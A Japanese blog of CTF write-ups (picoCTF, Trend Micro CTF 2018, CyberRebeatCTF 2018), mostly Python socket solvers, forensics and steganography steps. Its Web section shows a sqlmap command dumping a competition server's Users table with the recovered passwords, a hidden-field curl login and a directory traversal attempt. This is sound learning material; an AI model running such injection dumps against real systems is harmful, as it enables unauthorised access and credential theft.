#!/usr/bin/env python3 # -*- coding: utf-8 -*- from socket import * """ Rules: () + () = ()() => [combine] ((())) + () = ((())()) => [absorb-right] () + ((())) = (()(())) => [absorb-left] (())(()) + () = (())(()()) => [combined-absorb-right] () + (())(()) = (()())(()) => [combined-absorb-left] (())(()) + ((())) = ((())(())(())) => [absorb-combined-right] ((())) + (())(()) = ((())(())(())) => [absorb-combined-left] () + (()) + ((())) = (()()) + ((())) = ((()())(())) => [left-associative] """ def depth(par): count = 0 max = 0 for x in par: if x == '(': count += 1 if max < count: max = count else: count -=1 return max def combine(pars, x, n, ans): print(x,ans) if depth(ans) == depth(pars[x]): # depth: left == right ans = ans + pars[x] if n == x: return ans else : return combine(pars, x + 1, n, ans) elif depth(ans) > depth(pars[x]): # depth: left > right ans = ans[:-1] + pars[x] + ')' if n == x: return ans else: return combine(pars, x + 1, n, ans) else: # depth: left < right ans = '(' + ans + pars[x][1:] if n == x: return ans else: return combine(pars, x + 1, n, ans) if __name__ == '__main__': s = socket(AF_INET, SOCK_STREAM) s.connect(('2018shell1.picoctf.com', 7866)) for i in range(15): rec = s.recv(16384).decode('utf-8') if '???' in rec: rec = rec.split('\n') temp = [x for x in rec if '???' in x] index = temp[0].find(' = ') formula = temp[0][:index] print('-' * 100) print(formula) print('-' * 100) n = len(formula.split(' + ')) f = formula.split(' + ')[0] res = combine(formula.split(' + '), 1, n - 1, f) print(res) s.send(res.encode('utf-8')+b'\n') elif 'Final' in rec: f1 = rec.split('\n')[3] print('f1') print(f1) rec = s.recv(16384).decode('utf-8') rec = rec.split('\n') temp = [x for x in rec if '???' in x] index = temp[0].find(' = ') f2 = temp[0][:index] print('f2') print(f2) formula = f1 + f2 print('-' * 100) print(formula) print('-' * 100) n = len(formula.split(' + ')) f = formula.split(' + ')[0] res = combine(formula.split(' + '), 1, n - 1, f) print(res) s.send(res.encode('utf-8')+b'\n') else: print(rec)
picoCTF{5cr1pt1nG_l1k3_4_pRo_45ca3f85}
お気持ち
最終問題はこのように分割された状態で送られてくる
この分割に気づかず時間がとけた
(()(())(())) + (()())(()()()) + ((()()())((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))) + (((()()()(())()())()(((()()())()())()()))()(())((()))(((())))((((()))))) + ((()())(())()()()(()()())) + ((()())(())()()()(()()()()()()()())) + (((())())(()()()(())()())()(((()()())()())()())) + (()()()()()()()(())((()))(((())))((((()))))) + ((((()())()(()))()(((()()())()())()()))((()(())((()))(((())))()()))()) + ((()()(()))()(((()()())()())()())) + ((())()()()()(())) + ((()()())()(())((()))(((())))((((()))))) + ((())()(())((()))(((())))((((()))))) + ((()())()(())()()()) + (((()((()())()())())()(((()()())()())()()))()(())((()))(((())))((((()))))) + (()()()()()()()()()(())()()) + ((()()()()()()()()())((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))) + (()()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))) + ((()()()()()())()()()(())()()) + (((()())()(())()())()(())((()))(((())))((((()))))) + ((()()()()((()())()())())((()(())((()))(((())))()()))()) + (((()())(())()()())()(((()()())()())()())) + ((()())()(()))((())()(()()()()()()()())) + ((()()()(((()()())()())()()))()(())((()))(((())))((((()))))) + (((())())(()()()(())()())((()())()())()) + ((()())(())()(()()()()()()()())) + (()()()())(()()()()()()()()) + (((()())((()())()())())()(((()()())()())()())) + ((()())(()()()()()()()())()()()(())()()) + (((()())( )(())()()())((()())()())()) + (((())()(()()()))((((()))))(((())))((()))(())()) + (((()())()()()(())()())((((()))))(((())))((()))(())()) + ((()()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())) + ((()()()()())((()())()())()) + ((()(()))()(())((()))(((())))((((()))))) + (((()())()(())(()()()()()()()()))((((()))))(((())))((()))(())()) + ((())()(()()())) + (((())()()())((()(())((()))(((())))()()))()) + (((()())()(())(()()()()()()()()))()(((()()())()())()())) + (()(())(()()()()()()()())) + ((()()(()))(()()()(())()())((()(())((()))(((())))()()))()) + (()()(()))((())()(()()())) + (()()()()()()()) + ((()()()()()(())()())((((()))))(((())))((()))(())()) + ((()()()()()()()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())) + ((()()(()))((())())()(((()()())()())()())) + ((()()()()()())((()())()())()) + ((()()()()()()()())((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))) + (()()()()())(()()()()()()()()) + ((()())()(())((()))(((())))((((())))))
まとめ
- 恥ずかしながら
viewコマンドを知らなかった - scipt meみたいな実装問題をサクッとキレイに解けるようになりたい(競プロ再開すべきなのか？)
Trend Micro CTF 2018 Write-up
Trend Micro CTF 2018とは
Trend Micro CTF 2018 – Raimund Genes Cupは、 安全なデジタル社会の実現を目指す トレンドマイクロが主催する、 サイバーセキュリティに関する 第4回目の世界的な競技大会です
成績
自分はMisc100, Misc200を解き，300点獲得しました．
Write-up
Misc100
Category: Misc
Points: 100
Brave Challenger, welcome!I will hand you the flag, just not on a silver platter. Closely analyze the file, peel it back layer by layer, examine it byte by byte and the flag will reveal itself.
Follow the rabbit hole, the flag is hiding at the end of the tunnel!
Get your hands dirty! Whip out all your tools! Use your hex editor! But also be careful my brave challenger, for it might blow up in your face.
Good Luck!
アプローチ：これ系の問題はforemost + binwalk
とりあえず EATME.pdf が渡されるので strings してみると
> strings EATME.pdf | grep flag.txt flag.txtUT
flag.txtが埋め込めれていることが分かるので， foremost してあげます．
./output/zip/00001462.zip を得ることができるのでunzipします．
> unzip 00001462.zip
Archive: 00001462.zip
Boooooom!
flbn.txt: mismatching "local" filename (galf.txt),
continuing with "central" filename version
inflating: flbn.txt
しかし，微妙にunzipが失敗する(flbn.txtのせい)のでbinwalkを使います．
> binwalk -e 00001462.zip DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 Zip archive data, at least v2.0 to extract, compressed size: 41, uncompressed size: 200, name: flag.txt 4220981 0x406835 End of Zip archive, comment: "Boooooom!" 4221083 0x40689B Zlib compressed data, default compression 4221165 0x4068ED Unix path: /Type/Metadata/Subtype/XML>>stream 4221317 0x406985 Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://p 4222198 0x406CF6 Zlib compressed data, default compression 4222644 0x406EB4 Zlib compressed data, default compression
./_00001462.zip.extracted/flag.txt を得ることできました．
flag.txtはTMCTF{QWxpY2UgaW4gV29uZGVybGFuZA==}です．
因みにQWxpY2UgaW4gV29uZGVybGFuZA==はbase64でAlice in Wonderlandです．
Misc200
Category: Misc
Points: 200
If you look at that Constellation the sky will openTraffic Traffic Traffic...
this is really strange ...
hour 1...
hour 2...
hour 3...
where is the data!!!!!? AAAAAAAAAAA ...
lets take a look to the night and see if we can plot something....
Hint 1 REVERSE THE CASES - if you think the flag is in uppercase, try lowercase. If you think the flag is in lowercase, try uppercase.
アプローチ：pcap(ICMP)からデータ抽出+可視化
この問題ではtraffic.pcapとproc.pyが渡されます．
まずtraffic.pcapに注目すると，ICMPで何かやってそうなことに気づきます(他のプロトコルはTLSv1なので読めない)
ICMPのデータ部を確認すると座標のような値が流れていることに気づきます．
データを抽出するためにwiresharkでicmp.type == 8(ICMPのrequestのみ)というフィルタをかけて一旦pcapで保存します(icmp.pcap)．
tsharkを使ってデータを抽出します．
> tshark -r icmp.pcap -T fields -e data.data 34:2e:34:38:36:39:31:30:2c:33:2e:30:30:30:30:36:30 34:2e:32:30:35:34:31:30:2c:31:2e:34:34:30:30:30:30 33:2e:38:31:31:36:37:30:2c:30:2e:35:30:39:36:35:30 31:2e:30:32:37:32:39:30:2c:33:2e:30:33:38:35:38:30 32:2e:37:37:38:30:32:30:2c:30:2e:30:30:38:33:31:30 35:2e:39:37:37:30:36:30:2c:32:2e:35:32:35:32:31:30 34:2e:31:31:32:39:33:30:2c:34:2e:34:38:30:31:32:30 37:2e:30:31:31:39:37:30:2c:33:2e:30:32:37:31:37:30 36:2e:35:31:30:34:36:30:2c:32:2e:39:33:30:33:30:30 36:2e:39:39:38:36:31:30:2c:32:2e:35:32:37:38:35:30 34:2e:38:30:34:30:31:30:2c:35:2e:30:31:33:39:37:30 37:2e:30:37:33:32:34:30:2c:33:2e:35:33:37:36:31:30 33:2e:38:32:31:37:34:30:2c:30:2e:30:30:30:37:30:30 33:2e:35:36:38:31:36:30:2c:34:2e:39:39:37:30:35:30 ...
ここで抽出したデータを適当なスクリプトを書いて座標データに変換します．
import codecs fr = open('hex.txt','r') fw = open('test_2.txt','a') for row in fr: hex = ''.join(row.strip().split(':')) print(hex) text = codecs.decode(hex, 'hex_codec').decode('utf-8') print(text) fw.write(text + '\n') fr.close() fw.close()
多分xxd -p -rをうまく使うとワンライナーで書けると思う
のですが改行周りがめんどくさくなってスクリプト書きました．
座標データを抽出できたのでtraffic.pcapと一緒に渡されたproc.pyを確認します．
import matplotlib.pyplot as plt import seaborn as sns; sns.set() # for plot styling import numpy as np from sklearn.datasets.samples_generator import make_blobs from numpy import genfromtxt #humm, encontre este codigo en un servidor remoto #estaba junto con el "traffic.pcap" # que podria ser?, like some sample code _data2 = np.genfromtxt('test_2.txt', delimiter=',') db = DBSCAN(eps=10000, min_samples=100000).fit(my_data2) labels = db.labels_ n_clusters_ = len(set(labels)) - (1 if -1 in labels else 0) core_samples_mask = np.zeros_like(db.labels_, dtype=bool) core_samples_mask[db.core_sample_indices_] = True unique_labels = set(labels) colors = [plt.cm.Spectral(each) for each in np.linsspace(0, 1, len(unique_labels))] for k, col in zip(unique_labels, colors): class_member_mask = (labels == k) xy = X[class_member_mask & core_samples_mask] plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col), markeredgecolor='k', markersize=14) #NOTE: what you see in the sky put it format TMCTF{replace_here} #where "replace_here" is what you see plt.title('aaaaaaaa: %d' % n_clusters_) plt.show()
コメントを読むとICMPから得た座標データを投げてあげると文字が浮かび上がり，それがflagになるようです．
早速実行しようとしますが，いくつかのエラーがでて実行できません(未定義の変数の使用，DBSCANのimport, DBSCANパラメータの不適切な設定)．
そのため，以下のように書き直します．
import matplotlib.pyplot as plt import seaborn as sns; sns.set() # for plot styling import numpy as np from sklearn.datasets.samples_generator import make_blobs from numpy import genfromtxt from sklearn.cluster import DBSCAN #humm, encontre este codigo en un servidor remoto #estaba junto con el "traffic.pcap" # que podria ser?, like some sample code # _data2 = np.genfromtxt('test_2.txt', delimiter=',') my_data2 = np.genfromtxt('test_2.txt', delimiter=',') #eps=10000, min_samples=100000 db = DBSCAN().fit(my_data2) labels = db.labels_ n_clusters_ = len(set(labels)) - (1 if -1 in labels else 0) core_samples_mask = np.zeros_like(db.labels_, dtype=bool) core_samples_mask[db.core_sample_indices_] = True unique_labels = set(labels) colors = [plt.cm.Spectral(each) for each in np.linspace(0, 1, len(unique_labels))] for k, col in zip(unique_labels, colors): class_member_mask = (labels == k) # xy = X[class_member_mask & core_samples_mask] xy = my_data2[class_member_mask & core_samples_mask] plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col), markeredgecolor='k', markersize=14) #NOTE: what you see in the sky put it format TMCTF{replace_here} #where "replace_here" is what you see plt.title('aaaaaaaa: %d' % n_clusters_) plt.show()
上記のプログラムを実行すると以下のような画像を得ることができます．
直感で左右反転させます．
FLAG:1と読めますね．
問題文のヒントに従うと，TMCTF{flag:1}が得られます．
今回の問題とはあまり関係ないですが，DBSCANは密度ベースのクラスタリングアルゴリズムです．
以下の動画が参考になると思います．
まとめ
- 全体的に難しくて簡単な問題しか解けなかった
- 今回もBinary問題から逃げてしまった
- Analysis-offensive100で変な音をずっと再生してたら具合悪くなった上に結局解けなかった
- 0完は回避できたので良かった(CBCTFの悲劇を繰り返さずにすんだ)
CyberRebeatCTF2018 Write-up
- CyberRebeatCTFとは
- 成績
- [Exercise]
- [Crypto]
- [Misc]
- [Programming]
- [Recon]
- [Stegano]
- [Trivia]
- [Web]
- [Binary]
- まとめ
CyberRebeatCTFとは
CyberRebeatは、サークルE.N.Nachが制作したノベルゲームのタイトルです。 この作品はサイバーセキュリティや、ハッカー、CTFなどを題材としており、 その題材の珍しさや高いクオリティが評価され、日本国内で各種の賞を受賞しました。 本イベントは当該作品の英語版がSteamにてリリースされたことを記念して、より多くの方にCTFを楽しんでいただこうと企画されました。
成績
1人で参加してこんな感じでした．
32位/177チーム(参加人数：270人)
[Exercise]
Exercise
CRCTF{CyberRebeatCTF}
CRCTF{CyberRebeatCTF} を提出するだけです．
[Crypto]
Rotation
P4P6S{9RN4RUNPXR45}
アプローチ：rot13 -> 換字式暗号
問題文的にrot13だと思ったのでrot13してみるとC4C6F{9EA4EHACKE45}になります．
次に数字は換字式暗号っぽいなと思ったので4 -> R, 6 -> T, 9 -> W, 5 -> S に変換します．
最終的にflagはCRCTF{WEAREHACKERS}になります．
[Misc]
Readme
Readme.
アプローチ：Electroharmonixを頑張って読む
image.jpgを見るとElectroharmonixというフォントを使ったものだと分かるので下記のサイトの変換表？を見ながらflagを読み解きます．
最終的なflagはCRCTF{YOUCANPLAYCYBERREBEATINBOTHLANGUAGES}です．
[Programming]
Calculation
nc 59.106.212.75 8080
アプローチ：Pythonで自動化
nc 59.106.212.75 8080をすると四則演算が降ってくるタイプので問題です．
手でやるのはめちゃくちゃしんどいのでPythonで自動化します．
20問解くとflagがでます．
CRCTF{She calls herself a human calculator}
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from socket import * s = socket(AF_INET, SOCK_STREAM) s.connect(('59.106.212.75', 8080)) def read(): res = s.recv(4096).decode('utf-8') # print(res) return res for i in range(100): print('count: {}'.format(i)) res = read() problem = res.split('\n')[0] print(problem) if res == '\ufeff': continue ans = str(eval(problem)) s.send(ans.encode('utf-8')+b'\n') print(ans)
Prime Factor
Answer the maximum prime factor.
nc 59.106.212.75 8081
example:
Question:120
Answer:5 (Prime Factors: 2, 3, 5)
アプローチ：そこそこ速い素因数分解アルゴリズムを使う
基本的な流れはCalculation と同じですが，弱い(遅い)素因数分解アルゴリズムを使うと計算が終わらないので注意する必要があります．
自分はsympyというPythonのライブラリを使いました．
25問解くとflagがでます．
CRCTF{I'm a calculating type by nature.}
Number Theory — SymPy 1.4 documentation
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from sympy import factorint from socket import * s = socket(AF_INET, SOCK_STREAM) s.connect(('59.106.212.75', 8081)) def read(): res = s.recv(4096).decode('utf-8') # print(res) return res for i in range(100): print('count: {}'.format(i)) res = read() print(res) if res == '\ufeff': continue number = res.split('\n')[0] print(number) prime_dict = factorint(int(number)) ans = str(max(prime_dict.keys())) print(ans) s.send(ans.encode('utf-8')+b'\n')
Visual Novels
nc 59.106.212.75 8082
あるユーザーは"Reading Power"を持っている。
これはVisualNovelを月にどのくらい読めるかを示している。
彼がたくさんのVisualNovelを持っているとき、彼はどの組み合わせでプレイすればその月の満足度を最大にできるか。
最大の満足度を答えよ。example:
Reading Power = 30
Games([size, satisfaction]) =
[10, 1],
[21, 2],
[12, 3],Answer : 4
アプローチ：パースしてDPする
基本的に前の2問と同じですが，典型的なナップサック問題を解く必要があるので条件をパースしてDPします．
10問解くとflagがでます．
CRCTF{Believe in the high efficiency processor installed in your head.}
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from socket import * import re import numpy as np s = socket(AF_INET, SOCK_STREAM) s.connect(('59.106.212.75', 8082)) def read(): res = s.recv(4096).decode('utf-8') # print(res) return res def dp(power, sizes, satisfactions): dp_table = [[0 for j in range(power + 2)] for i in range(len(sizes))] backtrack = [[0 for j in range(power + 2)] for i in range(len(sizes))] # initialization for y in range(power + 1): if sizes[0] <= y + 1: dp_table[0][y] = satisfactions[0] backtrack[0][y] = 1 else: backtrack[0][y] = 0 # DP construction for k in range(1, len(satisfactions)): for y in range(power + 1): if y - sizes[k] < 0: # out of range dp_table[k][y] = dp_table[k - 1][y] backtrack[k][y] = 0 continue left = dp_table[k - 1][y] right = dp_table[k - 1][y - sizes[k]] + satisfactions[k] if left < right: # update dp_table[k][y] = right backtrack[k][y] = 1 else: dp_table[k][y] = left backtrack[k][y] = 0 argmax = [] prev = backtrack[len(satisfactions) - 1][power - 1] argmax.append(prev) tmp_power = power - 1 for k in range(len(satisfactions) - 2, -1, - 1): if prev is 1: # case previous item was selected tmp_power -= sizes[k + 1] prev = backtrack[k][tmp_power] else: prev = backtrack[k][tmp_power] argmax.append(prev) argmax.reverse() # print(dp_table) # print(backtrack) print(argmax) arr_argmax = np.array(argmax) arr_satisfactions = np.array(satisfactions) ans = np.dot(arr_argmax, arr_satisfactions) print(ans) return ans for i in range(100): print('count: {}'.format(i)) sizes = [] satisfactions = [] res = read() if res == '\ufeff' or res == '\n': continue print(res) lines = res.split('\n') for line in lines: if 'Power' in line: power = int(line.split(' ')[-1]) if '?' in line: break if line.count(',') > 1: num_list = [ x for x in re.split('[, ]', line) if len(x) > 0] sizes.append(int(num_list[0][1:])) satisfactions.append(int(num_list[1][:-1])) ans = str(dp(power, sizes, satisfactions)) s.send(ans.encode('utf-8')+b'\n') print('send')
[Recon]
Tweet
アプローチ：Twitterを見に行く
CRCTF{CyberRebeatCTF_has_started!}
CRCTF{CyberRebeatCTF_has_started!}
— CyberRebeat (@CyberRebeat) 2018年9月8日
CyberRebeatScripts
Do you know Github?
アプローチ：Githubのリポジトリを見に行く
delete FLAGというcommitがあるので編集差分を確認します．
CRCTF{I cut down her gag in a single strike}
ChangeHistory
アプローチ：gitの使い方のお勉強
当該リポジトリに行ってみると怪しいissueがたってる．
とりあえずgit cloneしてgit logとgit reflogをしてみるが手がかりなし．
git reflogでlocal logしか取得できなかったのでなんとかremote logを取得する方法を調べる．
上記サイトによるとcurl https://api.github.com/repos/ennach/ChangeHistory/eventsしてcommit idがc476614bc439fe1910e494422b3aa207b776d486のURLを見つけるといいらしい．
https://api.github.com/repos/ennach/ChangeHistory/commits/c476614bc439fe1910e494422b3aa207b776d486
上記サイトで変更前のデータが見れるのでflagがとれる
CRCTF{the timer is set to 120 seconds}
[Stegano]
Secret.pdf
It's a secret pdf!
アプローチ：とりあえずopen
とりあえずopen secret.pdfする
flag部分が黒塗りされてるが文字選択でぬける．
CRCTF{I don't know of a time without the internet}
Alpha
アプローチ：alpha.pngのα値を調べる
問題名的にpngのα値を調べろということっぽいので簡単なスクリプトを書いて調べる(スクリプト書くよりも既存のツールを使ったほうが速いです)．
ほとんどのPixelのα値が253であることが分かる．
怪しいのでα値が253以外のPixelを抜き出すスクリプトを書く．
CRCTF{ALPHA_IS_THE_NAME_OF_A_HACKER_IN_CYBERREBEAT}
#!/usr/bin/env python # -*- coding: utf-8 -*- from PIL import Image import numpy as np img = Image.open('./alpha.png') size = img.size flag_img = Image.new('RGBA',size) for x in range(size[0]): for y in range(size[1]): rgba = img.getpixel((x,y)) if rgba[3] != 253: flag_img.putpixel((x,y),(255,255,255,255)) else : flag_img.putpixel((x,y),(0,0,0,255)) flag_img.show() flag_img.save('./flag_img.png')
[Trivia]
Monero
ウェブ上からMoneroを発掘するソフトウェア。
日本で、自身のウェブサイト上にこのソフトを設置した何人かのユーザが逮捕されている。
フラグはすべて小文字。
例: CRCTF{abcdefgh}
アプローチ：日頃からセキュリティ関連のニュースをチェックしておく
これはcoinhiveのことですね．
CRCTF{coinhive}
Crossword
crossword_text.txt
FLAG:CRCTF{ABCDEFGH}
Flag format: all lowercase
横 1. ___ はCyberRebeatにおける特殊なコードネーム。CyberRebeatは、ハッカーたちがこれを打倒する物語。『ぴったりだと思わないか、ええっ、英雄（ヒーロー）？』 5. CyberRebeat作中における、とあるハッカーの切り札。______はネットに接続された多数のデバイスで、それぞれがひとつあるいは複数のBOTを実行している。 8. heroine.png / 彼女の名前：____ Amamiya 10. CyberRebeatシナリオライターの代表作：__:____ ～親愛なるあなたへ～ 11. CyberRebeatのキャッチフレーズ：We are h_____. 15. W_______はWindowsを実行しているコンピュータをターゲットとした、データを暗号化しBitcoinでの身代金支払いを要求するランサムウェアです。 16. CyberRebeatのシナリオライター 18. CRCTFを主催している同人サークル 19. 運営協力 : __________ Institute, Ltd., Aqutras Inc. 20. ______ はインターネットとセキュリティソフトウェアのクライアントのSSL 3.0へのフォールバックを利用した中間者攻撃です。 21. __________はBashdoorとも呼ばれ、Unix Bashシェルのセキュリティバグの一種であり、2014年9月24日にはじめて公表されました。 縦 2. Operation ______は、中国北京のElderwood GroupのようなAPTが人民解放軍と連携して行った一連のサイバー攻撃のこと。 3. CyberRebeatで利用しているゲームエンジン 4. CyberRebeatのイラストレーター：Kikyo ______ 6. smile.min.svg 7. _____ Rain は、米国連邦政府が定義した2003年からのアメリカのコンピュータシステムに対する一連の組織的な攻撃のこと。 9. CyberRebeatのデザインおよび背景イラスト担当 12. 翻訳協力 : __________ 13. CRCTFを主催している同人サークルが制作したノベルゲームの名称 14. https://store.____________.com/app/825320/CyberRebeat_The_Fifth_Domain_of_Warfare/ 17. heart.png
アプローチ：クロスワードを解く
2. Aurora
3. Unity
4. Manose
10. Re:LieF
11. hackers
12. SekaiProject
13. CyberRebeat
14. steampowered
15. wannacry
18. e.n.nach
19. activedefence
20. poodle
21. Shellshock
CRCTF{ABCDEFGHI}
CRCTF{submarine}
フラグはCRCTF{submarine}になります．
[Web]
White page
http://hidden-field.cyberrebeat.adctf.online/index.php
id: Hiro
password: LittleGarden
アプローチ：curlでid,passをPost
Webサイトにアクセスしてみると問題名の通り，White pageになっています(Loginボタンがあるだけ)．
ソースコードを確認しみてると以下のようになっています．
<body> <form action="index.php" method="post"> <input type="text" name="id" style="visibility:hidden" /> <input type="text" name="password" style="visibility:hidden" /> <button>LOGIN</button> </form> </body>
id,passwordの入力フォームがvisibility:hiddenになっているため，このままでは入力できないことがわかります．
そのため，curlを使用してid, passwordをPOSTします．
curl http://hidden-field.cyberrebeat.adctf.online/index.php -X POST -d "id=Hiro&password=LittleGarden"
ログインに成功してflagがとれます．
CRCTF{All I typed were four letters.}
Let's Tweet!
http://tweet.cyberrebeat.adctf.online/LetsTweet.php
LetsTweet.php
アプローチ：ついーとする
この問題は正直よく分かりませんでした．
phpのソースコードを確認するとtest.dbを読み込んでいることが分かるのでディレクトリトラバーサルでtest.dbを抜こうとしたのですが，Not Foundが返ってきて詰みました．
仕方なく，ツイートのリンクを使ってflagをとりました．
CRCTF{Thank_you_for_your_tweet!}
Uploader
Find the secret file.
http://sqli.cyberrebeat.adctf.online/index.php
id: guest
pass: guest
アプローチ：SQLi -> Blind SQLi
とりあえずFile Name :でSQLiしてみるとharadaというユーザがsecret.zipをアップロードしていることが分かります．
次に問題文にあったid,passでログインしてみるとsample.zipのpasswordを閲覧できることがわかります．
そのため，haradaのpassを探し出し，ログインに成功したらsecret.zipをunzipできることがわかります．
haradaのpassを探すためにBlind SQLiしなければいけないのですが，自分はSQLi Beginnerなのでsqlmapに頼りました．
上記のサイトを参考にUsersテーブルをdumpします．
sqlmap -u 'http://sqli.cyberrebeat.adctf.online/index.php' --data 'file_name=aaa&search=search' --dump -T Users
| userid | password |
|---|---|
| guest | guest |
| harada | seishin0129 |
pass:seishin0129を使ってuser:haradaとしてログインするとzippasswordを得ることができます．
上記のpassでsecret.zipをunzipしてあげるとflagがとれます．
CRCTF{Today's_internet_is_full_of_concerning_vulnerabilities}
[Binary]
0完
1問目のSimpleBinaryを解きながら「これのどこがシンプルなんだよ？？？」とキレてた．
Binary全然わからん…Binary強くなりたい…
まとめ
- 土日を持っていかれた
- 生活リズムが崩壊した(現在インターン中なので月曜の朝がつらそう)
- Binaryぜんぜんわからん
- CTFを始めて数ヶ月経って少しずつ解ける問題が増えてきたことを実感できたので嬉しかった
- CyberRebeatめっちゃ気になる
